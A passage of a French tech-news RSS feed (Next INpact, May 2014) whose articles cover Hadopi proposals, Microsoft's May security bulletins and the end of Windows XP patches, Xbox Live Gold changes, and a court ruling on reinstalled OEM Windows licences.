+&lt;h3&gt;Diviser pour mieux passer&lt;/h3&gt;
+&lt;p&gt;Pour raboter ces difficult&amp;eacute;s juridiques, techniques et politiques, l&amp;rsquo;une des strat&amp;eacute;gies pourrait &amp;ecirc;tre maintenant de diviser le projet de loi Cr&amp;eacute;ation en autant de v&amp;eacute;hicules l&amp;eacute;gislatifs n&amp;eacute;cessaires pour faire passer les r&amp;eacute;formes. Selon Les &amp;Eacute;chos, c&amp;rsquo;est une piste envisag&amp;eacute;e. Le minist&amp;egrave;re de la Culture sait aussi qu&amp;rsquo;un projet de loi sur le num&amp;eacute;rique est programm&amp;eacute; ces prochains mois, soit une nouvelle occasion pour faire passer plusieurs dispositions.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais la barque sera d&amp;rsquo;autant plus charg&amp;eacute;e que &lt;a href="http://www.nextinpact.com/news/87471-comment-hadopi-veut-muscler-nettoyage-net.htm" target="_blank"&gt;le rapport de Mireille Imbert-Quaretta&lt;/a&gt;, pr&amp;eacute;sent&amp;eacute; lundi, programme lui aussi plusieurs dispositions afin de mieux s&amp;rsquo;armer contre les sites de contrefa&amp;ccedil;ons massives. Une autorit&amp;eacute;, que ce soit la &lt;span data-affiliable="false" data-affkey="Hadopi"&gt;Hadopi&lt;/span&gt; ou le CSA, pourrait &amp;ecirc;tre charg&amp;eacute;e de suivre l&amp;rsquo;ex&amp;eacute;cution des d&amp;eacute;cisions de justice en mati&amp;egrave;re de blocage des sites. Autre proposition, les notifications de retrait prolong&amp;eacute; afin de maintenir hors ligne un contenu qui a &amp;eacute;t&amp;eacute; une premi&amp;egrave;re fois d&amp;eacute;nonc&amp;eacute; par les ayants droit. Aur&amp;eacute;lie Filippetti peut souffler&amp;nbsp;: la troisi&amp;egrave;me piste, la signature de charte par les acteurs du paiement et des r&amp;eacute;gies, n&amp;rsquo;exigera aucun texte particulier. Juste une promesse faite (&amp;agrave; nouveau) par ses acteurs pour tenter d&amp;rsquo;ass&amp;eacute;cher les financements de ces sites.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 09:40:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87524.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87523-windows-xp-definitivement-absent-correctifs-mensuels-securite.htm</guid><link>http://www.nextinpact.com/news/87523-windows-xp-definitivement-absent-correctifs-mensuels-securite.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>vincent@nextinpact.com</author><category>Sécurité</category><title>Windows XP définitivement absent des correctifs mensuels de sécurité</title><description>&lt;p class="actu_chapeau"&gt;Les nouveaux bulletins de s&amp;eacute;curit&amp;eacute; de Microsoft ne sont pas nombreux ce mois-ci. Publi&amp;eacute;s hier soir, ils confirment&amp;nbsp;par contre un changement important puisqu&amp;rsquo;ils sont les premiers &amp;agrave; laisser compl&amp;egrave;tement plusieurs produits &amp;agrave; la porte, dont Windows XP.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146728.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146728.jpeg" alt="windows xp" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Deux bulletins critiques pour Internet Explorer et Word&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Microsoft a diffus&amp;eacute; cette nuit &lt;a href="https://technet.microsoft.com/library/security/ms14-Apr" target="_blank"&gt;plusieurs mises &amp;agrave; jour de s&amp;eacute;curit&amp;eacute;&lt;/a&gt;. Le mois de mai est concern&amp;eacute; par un total de quatre bulletins, deux &amp;eacute;tant critiques, les deux autres &amp;eacute;tant importants. Parmi les correctifs, on en trouve un particuli&amp;egrave;rement crucial puisqu&amp;rsquo;il concerne Internet Explorer et &lt;a href="http://go.microsoft.com/fwlink/?LinkID=393743" target="_blank"&gt;corrige six vuln&amp;eacute;rabilit&amp;eacute;s d&amp;rsquo;un coup&lt;/a&gt;. Estampill&amp;eacute; MS14-018, il est de niveau critique et colmate des br&amp;egrave;ches qui permettraient une ex&amp;eacute;cution de code arbitraire &amp;agrave; distance si elles &amp;eacute;taient exploit&amp;eacute;es.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L&amp;rsquo;autre bulletin critique concerne Word et les Office Web Apps. &lt;a href="http://go.microsoft.com/fwlink/?LinkId=393531" target="_blank"&gt;Trois failles sont corrig&amp;eacute;es&lt;/a&gt;, dont une r&amp;eacute;v&amp;eacute;l&amp;eacute;e publiquement, ce qui accentue les risques d&amp;rsquo;exploitation. Dans le pire des cas, une attaque &amp;agrave; distance pourrait l&amp;agrave; aussi prendre place si un utilisateur ouvrait un fichier Word sp&amp;eacute;cialement con&amp;ccedil;u pour exploiter l&amp;rsquo;une des vuln&amp;eacute;rabilit&amp;eacute;s. Toutes les versions du traitement de texte&amp;nbsp;depuis la 2003 sont concern&amp;eacute;es, de m&amp;ecirc;me que les Web Apps sur SharePoint 2010, 2013 et Web Apps Server 2013.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les deux autres bulletins sont consid&amp;eacute;r&amp;eacute;s comme importants, ce qui signifie que l&amp;rsquo;exploitation des failles est plus complexe. Le premier concerne Windows directement et corrige un probl&amp;egrave;me dans la mani&amp;egrave;re dont le syst&amp;egrave;me d&amp;rsquo;exploitation g&amp;egrave;re les fichiers .BAT et .CMD depuis un emplacement r&amp;eacute;seau, qu&amp;rsquo;il soit de confiance ou non.&lt;/p&gt;
+&lt;h3&gt;Windows XP, le grand absent&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Mais les bulletins de mai concernant surtout les Windows qui sont encore support&amp;eacute;s, &amp;agrave; savoir toutes les versions depuis Vista (avec le Service Pack 2). Windows XP est donc officiellement sorti du cadre des correctifs de s&amp;eacute;curit&amp;eacute; r&amp;eacute;gulier, et Microsoft s&amp;rsquo;est d&amp;rsquo;ailleurs fendu &lt;a href="http://blogs.windows.com/windows/b/windowsexperience/archive/2014/05/13/windows-xp-pcs-no-longer-receiving-updates.aspx" target="_blank"&gt;d&amp;rsquo;un billet sp&amp;eacute;cifique sur l&amp;rsquo;un de ses blogs&lt;/a&gt;&amp;nbsp;pour rappeler que le vieux syst&amp;egrave;me doit &amp;ecirc;tre consid&amp;eacute;r&amp;eacute; comme mort par ses utilisateurs.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Brandon LeBlanc, responsable de la communication chez Microsoft, a tenu toutefois &amp;agrave; revenir sur un cas particulier&amp;nbsp;: le correctif 2929437 du bulletin MS14-021. Il s&amp;rsquo;agit du &lt;a href="http://www.nextinpact.com/news/87334-la-faille-dinternet-explorer-corrigee-meme-sous-windows-xp-erreur.htm" target="_blank"&gt;patch publi&amp;eacute; le 1er&amp;nbsp;mai&lt;/a&gt;&amp;nbsp;&amp;agrave; destination d&amp;rsquo;Internet Explorer, y compris pour la version 8 sous Windows XP, alors m&amp;ecirc;me que son support &amp;eacute;tait termin&amp;eacute; depuis le 8 avril. Il redonne l&amp;rsquo;argument selon lequel le support &amp;eacute;tait justement fini depuis peu, mais il insiste&amp;nbsp;: ce correctif &amp;eacute;tait une exception, le support reste bel et bien termin&amp;eacute;. Difficile toutefois de faire prendre la mesure de cet arr&amp;ecirc;t &amp;agrave; travers, justement, ce genre d&amp;rsquo;exception.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Nous rappellerons &amp;eacute;galement que si le support technique de Windows XP est termin&amp;eacute; pour le grand public, les grandes entreprises et les administrations peuvent acheter un support suppl&amp;eacute;mentaire. C&amp;rsquo;est le cas par exemple du Royaume-Uni et des Pays-Bas qui ont &amp;eacute;tendu d&amp;rsquo;un an la r&amp;eacute;ception des correctifs. Un d&amp;eacute;lai qu&amp;rsquo;une planification plus en amont aurait pu &amp;eacute;viter car la note peut s&amp;rsquo;av&amp;eacute;rer sal&amp;eacute;e&amp;nbsp;: entre 100 et 200 dollars par poste et par an.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 09:20:38 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87523.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87522-labonnement-xbox-live-gold-ne-sera-plus-requis-pour-certains-services.htm</guid><link>http://www.nextinpact.com/news/87522-labonnement-xbox-live-gold-ne-sera-plus-requis-pour-certains-services.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>kevin@nextinpact.com</author><category>Jeux video</category><title>L'abonnement Xbox Live Gold ne sera plus requis pour certains services</title><description>&lt;p class="actu_chapeau"&gt;En plus d'avoir annonc&amp;eacute; l'arriv&amp;eacute;e d'une version de la &lt;a href="http://www.nextinpact.com/news/87514-microsoft-cede-et-proposera-xbox-one-sans-kinect-a-399-des-9-juin.htm" target="_blank"&gt;Xbox One sans Kinect&lt;/a&gt;&amp;nbsp;vendue au prix de 399 euros, Microsoft a &amp;eacute;galement affirm&amp;eacute; que certaines des applications propos&amp;eacute;es sur ses consoles ne n&amp;eacute;cessiteront plus d'&amp;ecirc;tre abonn&amp;eacute; au service Xbox Live Gold pour en profiter. Cela concerne des applications de divertissement comme Netflix et Twitch, mais &amp;eacute;galement Internet Explorer ou Skype.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142538.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142538.png" alt="M6 Xbox One 6Play Orange" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La &lt;span data-affiliable="true" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt; et surtout la Xbox 360 disposent d'un catalogue d'applications relativement&amp;nbsp;vari&amp;eacute;, permettant d'acc&amp;eacute;der &amp;agrave; divers services en ligne, tels que &lt;span data-affiliable="true" data-affkey="Netflix"&gt;Netflix&lt;/span&gt;, HBO GO, Twitch, ainsi que des applications maison comme Skype ou encore Internet Explorer. Seule ombre au tableau : il faut imp&amp;eacute;rativement &amp;ecirc;tre abonn&amp;eacute; au bouquet Xbox Live Gold pour profiter de ces services.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Une obligation g&amp;ecirc;nante&amp;nbsp;pour nombre d'utilisateurs, notamment dans le cas de services payants, comme &lt;span data-affiliable="true" data-affkey="Netflix"&gt;Netflix&lt;/span&gt; ou HBO Go. En effet, si un client de ces services voulait en profiter sur sa console Xbox, il lui &amp;eacute;tait imp&amp;eacute;ratif de payer un abonnement au Xbox Live Gold, en plus de celui de sa cha&amp;icirc;ne de t&amp;eacute;l&amp;eacute;vision. &lt;a href="http://news.xbox.com/2014/05/xbox-delivering-more-choices" target="_blank"&gt;&amp;Agrave; partir du mois de juin&lt;/a&gt;, cela ne sera plus n&amp;eacute;cessaire, et seul un acc&amp;egrave;s &amp;agrave; internet sera requis pour profiter de tout cela.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Parmi les fonctionnalit&amp;eacute;s concern&amp;eacute;es, on citera bien &amp;eacute;videmment Skype et Internet Explorer, mais &amp;eacute;galement OneGuide, OneDrive, l'ensemble des applications de divertissement telles que &lt;span data-affiliable="true" data-affkey="Netflix"&gt;Netflix&lt;/span&gt; et Hulu, les applications sportives comme ESPN, NBA, NHL etc. Les applications d&amp;eacute;di&amp;eacute;es au jeu sont &amp;eacute;galement concern&amp;eacute;es comme Twitch et Machinima, mais &amp;eacute;galement l'Upload Studio de la &lt;span data-affiliable="false" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt;. Enfin, il est &amp;agrave; noter que la sauvegarde des parties sur le cloud sera propos&amp;eacute;e sans suppl&amp;eacute;ment sur &lt;span data-affiliable="false" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt;, mais n&amp;eacute;cessitera encore un abonnement au Xbox Live Gold sur Xbox 360.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Au total, 170 applications sur Xbox 360 et &lt;span data-affiliable="true" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt; sont concern&amp;eacute;es, mais pour l'heure Microsoft n'en a pas encore fourni la liste compl&amp;egrave;te. Celle-ci devrait toutefois &amp;ecirc;tre connue avant la mise en application des changements en juin.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 09:00:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87522.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87497-relaxe-d-un-magasin-d-informatique-poursuivi-pour-avoir-reinstalle-windows.htm</guid><link>http://www.nextinpact.com/news/87497-relaxe-d-un-magasin-d-informatique-poursuivi-pour-avoir-reinstalle-windows.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>xavier@nextinpact.com</author><category>Justice</category><title>Relaxe d’un magasin d’informatique poursuivi pour avoir réinstallé Windows</title><description>&lt;p class="actu_chapeau"&gt;En mars dernier, la justice fran&amp;ccedil;aise a donn&amp;eacute; gain de cause &amp;agrave; un responsable de magasins d&amp;rsquo;informatique de Picardie, qui &amp;eacute;tait accus&amp;eacute; d&amp;rsquo;avoir contrefait Windows XP. Pourquoi&amp;nbsp;? Parce que sa soci&amp;eacute;t&amp;eacute; avait r&amp;eacute;install&amp;eacute;&amp;nbsp;le syst&amp;egrave;me d&amp;rsquo;exploitation de Microsoft sur des ordinateurs de clients qui poss&amp;eacute;daient pourtant d&amp;eacute;j&amp;agrave; une licence valide du c&amp;eacute;l&amp;egrave;bre logiciel. Retour sur cette d&amp;eacute;cision, qui est d&amp;rsquo;ailleurs maintenant frapp&amp;eacute;e d&amp;rsquo;appel.&lt;/p&gt;&lt;p&gt;&lt;span lang="FR"&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/144794.png" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/medium-144794.png" alt="windows xp" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Micka&amp;euml;l Jupin, g&amp;eacute;rant de la soci&amp;eacute;t&amp;eacute; ABC Informatique, comparaissait le 5 f&amp;eacute;vrier dernier devant le tribunal correctionnel d&amp;rsquo;Amiens. Ce responsable de cinq magasins de vente et de r&amp;eacute;paration d&amp;rsquo;ordinateurs comme il en existe des milliers en France &amp;eacute;tait accus&amp;eacute; de contrefa&amp;ccedil;on du c&amp;eacute;l&amp;egrave;bre syst&amp;egrave;me d&amp;rsquo;exploitation de Microsoft, Windows XP. Un d&amp;eacute;lit passible de trois ans de prison et de 300 000 euros d&amp;rsquo;amende. &amp;laquo;&amp;nbsp;&lt;em&gt;Nous &amp;eacute;tions poursuivis pour avoir proc&amp;eacute;d&amp;eacute; &amp;agrave; un changement de carte m&amp;egrave;re (suite &amp;agrave; une panne), et &amp;agrave; cette occasion, nous avions r&amp;eacute;utilis&amp;eacute; la licence que le client poss&amp;eacute;dait&amp;nbsp;d&amp;eacute;j&amp;agrave;&lt;/em&gt;&amp;nbsp;&amp;raquo; r&amp;eacute;sume aujourd&amp;rsquo;hui l&amp;rsquo;int&amp;eacute;ress&amp;eacute;.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Le 18 juin 2012, Microsoft porte effectivement plainte aupr&amp;egrave;s de la Division &amp;laquo;&amp;nbsp;d&amp;eacute;linquance &amp;eacute;conomique et financi&amp;egrave;re et num&amp;eacute;rique&amp;nbsp;&amp;raquo; de la section de recherche de Picardie, apr&amp;egrave;s &amp;ecirc;tre entr&amp;eacute; en relation avec un salari&amp;eacute; licenci&amp;eacute; un peu plus t&amp;ocirc;t par Monsieur Jupin. L'ex-employ&amp;eacute;&amp;nbsp;affirme alors que l&amp;rsquo;entreprise dans laquelle il travaillait utilise ill&amp;eacute;galement des cl&amp;eacute;s de Windows XP. Suite &amp;agrave; une enqu&amp;ecirc;te pr&amp;eacute;liminaire, le Parquet engage des poursuites, estimant que la soci&amp;eacute;t&amp;eacute; d&amp;rsquo;informatique a bel et bien viol&amp;eacute; les conditions d&amp;rsquo;utilisation de la licence de Windows XP, dans la mesure o&amp;ugrave; elle a r&amp;eacute;install&amp;eacute; le c&amp;eacute;l&amp;egrave;bre syst&amp;egrave;me d&amp;rsquo;exploitation sur des ordinateurs de clients qui avaient &amp;eacute;t&amp;eacute; reformat&amp;eacute;s suite &amp;agrave; un changement de carte m&amp;egrave;re. Au total, le litige porte sur une vingtaine de r&amp;eacute;parations de ce type.&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;&lt;span lang="FR"&gt;Retour du d&amp;eacute;bat sur les licences OEM&lt;/span&gt;&lt;/h3&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;De fait, cette affaire relance une &lt;a href="http://www.nextinpact.com/archive/26777-Microsoft-la-licence-OEM-et-le-changement-de.htm" target="_blank"&gt;question lancinante&lt;/a&gt;&amp;nbsp;relative aux licences dites OEM (&lt;span data-affiliable="false" data-affkey="Origin"&gt;Origin&lt;/span&gt;al equipment manufacturer), que l&amp;rsquo;on applique aux&amp;nbsp;machines sur lesquelles le syst&amp;egrave;me d&amp;rsquo;exploitation est pr&amp;eacute;-install&amp;eacute; : que se passe-t-il lorsque l&amp;rsquo;on change un des principaux composants d&amp;rsquo;un ordinateur ? Est-ce qu&amp;rsquo;il faut consid&amp;eacute;rer qu&amp;rsquo;il y a un nouveau PC, ce qui signifie qu&amp;rsquo;il faut racheter une nouvelle licence, ou bien la machine reste-t-elle la m&amp;ecirc;me ?&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;&lt;span lang="FR"&gt;Microsoft r&amp;eacute;clamait plus de 11 000 euros d&amp;rsquo;indemnit&amp;eacute;s&lt;/span&gt;&lt;/h3&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Devant le tribunal correctionnel, la firme de Redmond fait valoir que le changement de carte m&amp;egrave;re &amp;eacute;quivaut &amp;agrave; &amp;laquo;&amp;nbsp;&lt;em&gt;la cr&amp;eacute;ation d&amp;rsquo;un nouvel ordinateur&lt;/em&gt;&amp;nbsp;&amp;raquo;, ce qui n&amp;eacute;cessite pour son propri&amp;eacute;taire d&amp;rsquo;acqu&amp;eacute;rir une nouvelle licence et donc de repasser &amp;agrave; la caisse. Outre le volet p&amp;eacute;nal engag&amp;eacute; par le minist&amp;egrave;re public, Microsoft se porte partie civile et r&amp;eacute;clame plus de 11 000 euros d&amp;rsquo;indemnit&amp;eacute;s &amp;agrave; Micka&amp;euml;l Jupin (7 946 euros de dommages et int&amp;eacute;r&amp;ecirc;ts pour le pr&amp;eacute;judice mat&amp;eacute;riel, 1&amp;nbsp;190 pour l&amp;rsquo;atteinte aux pr&amp;eacute;rogatives extrapatrimoniales de l&amp;rsquo;auteur de l&amp;rsquo;&amp;oelig;uvre, 500 euros au titre du pr&amp;eacute;judice moral, plus 2 000 euros de frais de justice).&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;En face, le responsable de l'EURL ABC Informatique a une autre analyse. Il consid&amp;egrave;re que les conditions d&amp;rsquo;utilisation de Windows XP tol&amp;egrave;rent ce genre de pratique, le site officiel de l&amp;rsquo;&amp;eacute;diteur pr&amp;eacute;cisant noir sur blanc&amp;nbsp;que &amp;laquo;&amp;nbsp;&lt;em&gt;si la carte m&amp;egrave;re est remplac&amp;eacute;e en raison d'une d&amp;eacute;faillance, vous n'avez pas besoin d'acqu&amp;eacute;rir une nouvelle licence de syst&amp;egrave;me d'exploitation pour l'ordinateur dans la mesure o&amp;ugrave; la carte m&amp;egrave;re de substitution est de la m&amp;ecirc;me marque/du m&amp;ecirc;me mod&amp;egrave;le ou qu'il s'agit d'une carte de rechange/&amp;eacute;quivalente du m&amp;ecirc;me fabricant&amp;nbsp;&lt;/em&gt;&amp;raquo; (&lt;a href="http://www.microsoft.com/OEM/fr/licensing/sblicensing/Pages/licensing_faq.aspx#fbid=XjZBv4NX7Li" target="_blank"&gt;voir ici&lt;/a&gt;). &lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;L&amp;rsquo;int&amp;eacute;ress&amp;eacute; conc&amp;egrave;de n&amp;eacute;anmoins qu&amp;rsquo;il existe un certain flou, Microsoft indiquant dans le m&amp;ecirc;me temps&amp;nbsp;que &amp;laquo;&amp;nbsp;&lt;em&gt;si la carte m&amp;egrave;re est mise &amp;agrave; niveau ou remplac&amp;eacute;e en raison d'une d&amp;eacute;faillance, un nouvel ordinateur est alors cr&amp;eacute;&amp;eacute;. Le logiciel du syst&amp;egrave;me d'exploitation OEM Microsoft ne peut &amp;ecirc;tre transf&amp;eacute;r&amp;eacute; au nouvel ordinateur et une nouvelle licence logicielle est donc requise.&amp;nbsp;&lt;/em&gt;&amp;raquo;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/138837.png" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/mini-138837.png" alt="tribunal justice xavier" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;Le tribunal conclut&amp;nbsp;qu'il n'y a pas contrefa&amp;ccedil;on&lt;/h3&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Finalement, le tribunal correctionnel d&amp;rsquo;Amiens a donn&amp;eacute; gain de cause au responsable d&amp;rsquo;ABC Informatique. Dans une d&amp;eacute;cision rendue le 12 mars dernier, la juridiction a conclu que le Parquet et Microsoft n&amp;rsquo;avaient pas r&amp;eacute;ussi &amp;agrave; d&amp;eacute;montrer &amp;laquo;&amp;nbsp;&lt;em&gt;qu&amp;rsquo;il y a eu, sans autorisation de la soci&amp;eacute;t&amp;eacute; Microsoft, reproduction par tous moyens en tout ou partie un logiciel d&amp;rsquo;exploitation Windows XP en violation des conditions d&amp;rsquo;utilisation de la licence OEM dont l&amp;rsquo;utilisation est li&amp;eacute;e par certificat d&amp;rsquo;authenticit&amp;eacute; &amp;agrave; un seul appareil&lt;/em&gt;&amp;nbsp;&amp;raquo;.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Pourquoi&amp;nbsp;? Les magistrats ont tout d&amp;rsquo;abord constat&amp;eacute; que &amp;laquo;&lt;em&gt;&amp;nbsp;la preuve que les remplacements de cartes m&amp;egrave;re n&amp;rsquo;&amp;eacute;taient pas fait &amp;agrave; l&amp;rsquo;identique n&amp;rsquo;est pas rapport&amp;eacute;e&amp;nbsp;&lt;/em&gt;&amp;raquo;. Autrement dit, rien ne prouvait que les cartes m&amp;egrave;res chang&amp;eacute;es n&amp;rsquo;&amp;eacute;taient pas du m&amp;ecirc;me mod&amp;egrave;le que celles pr&amp;eacute;c&amp;eacute;demment install&amp;eacute;es. De ce fait, le tribunal retient qu&amp;rsquo;il &amp;laquo;&amp;nbsp;&lt;em&gt;n&amp;rsquo;est pas impos&amp;eacute; au propri&amp;eacute;taire de l&amp;rsquo;ordinateur de se porter acqu&amp;eacute;reur d&amp;rsquo;un nouveau logiciel d&amp;rsquo;exploitation Windows XP&lt;/em&gt;&amp;nbsp;&amp;raquo;. Les juges se sont appuy&amp;eacute;s ici sur les indications de Microsoft, selon lesquelles il n&amp;rsquo;y a pas besoin de racheter Windows si&amp;nbsp;la carte m&amp;egrave;re de remplacement &amp;laquo;&amp;nbsp;&lt;em&gt;est de la m&amp;ecirc;me marque/du m&amp;ecirc;me mod&amp;egrave;le&lt;/em&gt;&amp;nbsp;&amp;raquo; que celle en panne &lt;em&gt;&amp;laquo; ou qu'il s'agit d'une carte de rechange/&amp;eacute;quivalente du m&amp;ecirc;me fabricant &amp;raquo;&lt;/em&gt;&amp;nbsp;- comme le soulignait Micka&amp;euml;l Jupin. Autrement dit, on peut imaginer que la solution aurait pu &amp;ecirc;tre diff&amp;eacute;rente s&amp;rsquo;il avait &amp;eacute;t&amp;eacute; d&amp;eacute;montr&amp;eacute; que la pi&amp;egrave;ce chang&amp;eacute;e &amp;eacute;tait&amp;nbsp;plus puissante ou d'une autre marque par exemple.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;D&amp;rsquo;autre part, les juges ont estim&amp;eacute; que dans plusieurs cas, l&amp;rsquo;absence d&amp;rsquo;indications suffisamment pr&amp;eacute;cises sur les factures (&amp;laquo;&amp;nbsp;&lt;em&gt;carte m&amp;egrave;re HS - licence OK - pour r&amp;eacute;install.&lt;/em&gt;&amp;nbsp;&amp;raquo; par exemple) laissaient place &amp;agrave; de s&amp;eacute;rieux doutes, auxquels ni le minist&amp;egrave;re public ni Microsoft n&amp;rsquo;arrivait &amp;agrave; mettre fin : quel syst&amp;egrave;me d&amp;rsquo;exploitation avait r&amp;eacute;ellement &amp;eacute;t&amp;eacute; install&amp;eacute;&amp;nbsp;? le propri&amp;eacute;taire de l&amp;rsquo;ordinateur ne disposait-il pas d&amp;rsquo;une licence bo&amp;icirc;te &amp;laquo;&amp;nbsp;FPP&amp;nbsp;&amp;raquo;, qui permet la modification de l&amp;rsquo;ordinateur sans n&amp;eacute;cessit&amp;eacute; de rachat de licence&amp;nbsp;?&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;&lt;span lang="FR"&gt;Une relaxe pour Micka&amp;euml;l Jupin et ABC Informatique, n&amp;eacute;anmoins frapp&amp;eacute;e d&amp;rsquo;appel&lt;/span&gt;&lt;/h3&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Relax&amp;eacute;, Monsieur Jupin n&amp;rsquo;aura finalement connu qu&amp;rsquo;un bref r&amp;eacute;pit. Le 17 mars, la firme de Redmond a effectivement fait appel des dispositions civiles de ce jugement, et fut suivie le lendemain par le Parquet, qui visait quant &amp;agrave; lui ses dispositions p&amp;eacute;nales. L&amp;rsquo;affaire devrait donc &amp;ecirc;tre &amp;agrave; nouveau &amp;eacute;tudi&amp;eacute;e par la justice d&amp;rsquo;ici plusieurs mois.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;En attendant, le g&amp;eacute;rant exprime sa lassitude face &amp;agrave; l&amp;rsquo;&amp;laquo;&amp;nbsp;&lt;em&gt;acharnement&lt;/em&gt;&amp;nbsp;&amp;raquo; du g&amp;eacute;ant am&amp;eacute;ricain, qui a multipli&amp;eacute; les poursuites &amp;agrave; son &amp;eacute;gard. &amp;laquo;&amp;nbsp;&lt;em&gt;En cinq ans, Microsoft a lanc&amp;eacute; cinq proc&amp;eacute;dures &amp;agrave; notre &amp;eacute;gard, et les a toutes perdues&lt;/em&gt;&amp;nbsp;&amp;raquo; affirme-t-il aujourd&amp;rsquo;hui, pr&amp;eacute;cisant que certaines sont m&amp;ecirc;mes all&amp;eacute;es jusqu&amp;rsquo;en Cassation. &lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Outre les co&amp;ucirc;ts humains et financiers de telles &amp;eacute;preuves (ABC Informatique a d&amp;ucirc; fermer deux boutiques et perdu 20 salari&amp;eacute;s sur 40 selon &lt;a href="http://www.francebleu.fr/infos/microsoft-perd-son-proces-contre-un-petit-vendeur-informatique-1354416" target="_blank"&gt;France Bleu&lt;/a&gt;), Micka&amp;euml;l Jupin retient aujourd&amp;rsquo;hui que &amp;laquo;&amp;nbsp;&lt;em&gt;cette affaire pose le d&amp;eacute;bat de l&amp;rsquo;OEM&lt;/em&gt;&amp;nbsp;&amp;raquo;. Il&amp;nbsp;esp&amp;egrave;re aussi &amp;laquo;&amp;nbsp;&lt;em&gt;qu&amp;rsquo;elle permettra de clarifier les choses pour les consommateurs&lt;/em&gt;&amp;nbsp;&amp;raquo;. Avec des interrogations l&amp;eacute;gitimes au cas o&amp;ugrave; la cour d&amp;rsquo;appel ne confirmerait pas les juges de premi&amp;egrave;re instance&amp;nbsp;: &amp;laquo;&amp;nbsp;&lt;em&gt;Un client nous a indiqu&amp;eacute; qu&amp;rsquo;il envisageait de porter plainte p&amp;eacute;nalement pour vente forc&amp;eacute;e, estimant que dans la mesure o&amp;ugrave; il avait d&amp;eacute;j&amp;agrave; pay&amp;eacute; sa licence lors de l&amp;rsquo;achat de son PC, il n&amp;rsquo;avait pas &amp;agrave; la repayer parce qu&amp;rsquo;il changeait de carte m&amp;egrave;re. Que doit-on faire 